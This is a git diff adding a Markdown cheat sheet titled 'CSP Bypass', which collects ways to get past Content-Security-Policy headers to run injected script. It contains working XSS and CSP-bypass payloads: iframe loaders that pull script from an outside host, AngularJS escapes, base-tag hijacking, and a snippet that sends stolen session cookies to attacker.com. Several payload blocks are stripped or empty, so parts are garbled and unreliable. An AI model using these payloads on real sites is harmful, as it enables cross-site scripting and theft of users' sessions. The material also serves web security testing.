diff --git a/CSP Bypass.md b/CSP Bypass.md new file mode 100644 index 0000000..84bb11d --- /dev/null +++ b/CSP Bypass.md @@ -0,0 +1,390 @@ +# CSP Bypass + +## Unsafe CSP Rules +**'unsafe-inline'** +```html +Content-Security-Policy: script-src https://google.com 'unsafe-inline'; +``` +Working payload: +```javascript +"/> +``` +----- +**self + 'unsafe-inline' via Iframes** + +A configuration such as: +```html +Content-Security-Policy: default-src ‘self’ ‘unsafe-inline’; +``` +Prohibits usage of any functions that execute code transmitted as a string. For example: eval, setTimeout, setInterval will all be blocked because of the setting unsafe-eval + +Any content from external sources is also blocked, including images, CSS, WebSockets, and, especially, JS + +* **Via text & images** +Modern browsers transform images and texts into HTML files to visualize them better (set background, center, etc). + +Therefore, if you open an image or txt file such as `favicon.ico` or `robots.txt` with an **iframe**, you will open it as HTML. + +These kinds of pages usually don't have **CSP headers** and might not have `X-Frame-Options`, so you can execute arbitrary **JS** from them: + +```javascript +frame=document.createElement("iframe"); +frame.src="/css/bootstrap.min.css"; +document.body.appendChild(frame); +script=document.createElement('script'); +script.src='//bo0om.ru/csp.js'; +window.frames[0].document.head.appendChild(script); +``` +* **Via Errors** +Same as text files or images, error responses usually don't have **CSP headers** and might not have `X-Frame-Options`. So, you can force errors and load them inside an iframe: + +```javascript +// Force nginx error +frame=document.createElement("iframe"); +frame.src="/%2e%2e%2f"; +document.body.appendChild(frame); + +// Force error via long URL +frame=document.createElement("iframe"); +frame.src="/"+"A".repeat(20000); +document.body.appendChild(frame); + +// Force error via long cookies +for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)}; +frame=document.createElement("iframe"); +frame.src="/"; +document.body.appendChild(frame); +// Don't forget to remove them +for(var i=0;i<5;i++){document.cookie=i+"="} +``` +```javascript +// After any of the previous examples, you can execute JS in the iframe with something like: +script=document.createElement('script'); +script.src='//bo0om.ru/csp.js'; +window.frames[0].document.head.appendChild(script); +``` +----- +**'unsafe-eval'** +```html +Content-Security-Policy: script-src https://google.com 'unsafe-eval'; +``` +Working payload: +```javascript + +``` +----- +**strict-dynamic** + +If you can somehow make an allowed JS code created a new script tag in the DOM with your JS code, because an allowed script is creating it, the new script tag will be allowed to be executed. + +----- +**Wildcard (*)** +```html +Content-Security-Policy: script-src 'self' https://google.com https: data *; +``` +Working payload: +```javascript +"/>'> +"/>'> +``` +----- +**Lack of object-src and default-src** +> It looks like this is not longer working! +```javascript +Content-Security-Policy: script-src 'self' ; +``` +Working payloads: +```javascript + +">'> + +``` +----- +**File Upload + 'self'** +```javascript +Content-Security-Policy: script-src 'self'; object-src 'none' ; +``` +If you can upload a JS file you can bypass this CSP: + +Working payload: +```javascript +"/>'> +``` +----- +**Third Party Endpoints + ('unsafe-eval')** +```javascript +Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval'; +``` +Load a vulnerable version of angular and execute arbitrary JS: +```javascript + +
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}}
+ + +">
{{$eval.constructor('alert(1)')()}}
+ + +"> +
+ + +With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/ + + + + + + + + + +``` +```html + + +``` +If you access the previous html via a http server (like python3 -m http.server) you will notice that all the scripts will be executed (as there is no CSP preventing it)., the parent won’t be able to access the secret var inside any iframe and only the iframes if2 & if3 (which are considered to be same-site) can access the secret in the original window. +Note how if4 is considered to have null origin. + +**Iframes with CSP** + +The self value of script-src won’t allow the execution of the JS code using the data: protocol or the srcdoc attribute. +However, even the none value of the CSP will allow the execution of the iframes that put a URL (complete or just the path) in the src attribute. +Therefore it’s possible to bypass the CSP of a page with: +```html + + + + + + + + + + +``` +Note how the previous CSP only permits the execution of the inline script. +However, only if1 and if2 scripts are going to be executed but only if1 will be able to access the parent secret. + +![spaces_-L_2uGJGU7AVNRcqRvEi_uploads_5juDb7xa6pEa6sOoW7Ga_image](https://github.com/Mehdi0x90/Web_Hacking/assets/17106836/f95c1c69-f089-470c-ab86-5b023b9f27cd) + +Therefore, it’s possible to bypass a CSP if you can upload a JS file to the server and load it via iframe even with script-src 'none'. This can potentially be also done abusing a same-site JSONP endpoint. + +You can test this with the following scenario were a cookie is stolen even with script-src 'none'. Just run the application and access it with your browser: +```javascript +import flask +from flask import Flask +app = Flask(__name__) + +@app.route("/") +def index(): + resp = flask.Response('') + resp.headers['Content-Security-Policy'] = "script-src 'self'" + resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET' + return resp + +@app.route("/cookie_s.html") +def cookie_s(): + return "" + +if __name__ == "__main__": + app.run() +``` + +**Other Payloads found on the wild** +```javascript + + + + +``` + +**Iframe sandbox** + +The sandbox attribute enables an extra set of restrictions for the content in the iframe. By default, no restriction is applied. +When the sandbox attribute is present, and it will: +* treat the content as being from a unique origin +* block form submission +* block script execution +* disable APIs +* prevent links from targeting other browsing contexts +* prevent content from using plugins (through , , , or other) +* prevent the content to navigate its top-level browsing context +* block automatically triggered features (such as automatically playing a video or automatically focusing a form control) +The value of the sandbox attribute can either be empty (then all restrictions are applied), or a space-separated list of pre-defined values that will REMOVE the particular restrictions. +```javascript + +``` +----- + +**missing base-uri** + +If the base-uri directive is missing you can abuse it to perform a dangling markup injection. +Moreover, if the page is loading a script using a relative path (like /js/app.js) using a Nonce, you can abuse the base tag to make it load the script from your own server achieving a XSS. +If the vulnerable page is loaded with httpS, make use an httpS url in the base. + +```html + +``` +----- +**AngularJS and whitelisted domain** +```javascript +Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url; +``` +If the application is using angular JS and scripts are loaded from a whitelisted domain. It is possible to bypass this CSP policy by calling callback functions and vulnerable classes. For more details visit this awesome [git](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22) repo. + +Working payloads: +```javascript + +ng-app"ng-csp ng-click=$event.view.alert(1337)> + + + +``` + +----- + +## CSP Exfiltration Bypasses +If there is a strict CSP that doesn't allow you to interact with external servers, there are some things you can always do to exfiltrate the information. + +**Location** + +You could just update the location to send to the attacker's server the secret information: +```javascript +var sessionid = document.cookie.split('=')[1]+"."; +document.location = "https://attacker.com/?" + sessionid; +``` + +**Meta tag** + +You could redirect by injecting a meta tag (this is just a redirect, this won't leak content) +```javascript + +``` + + + + + + + + + + + + + +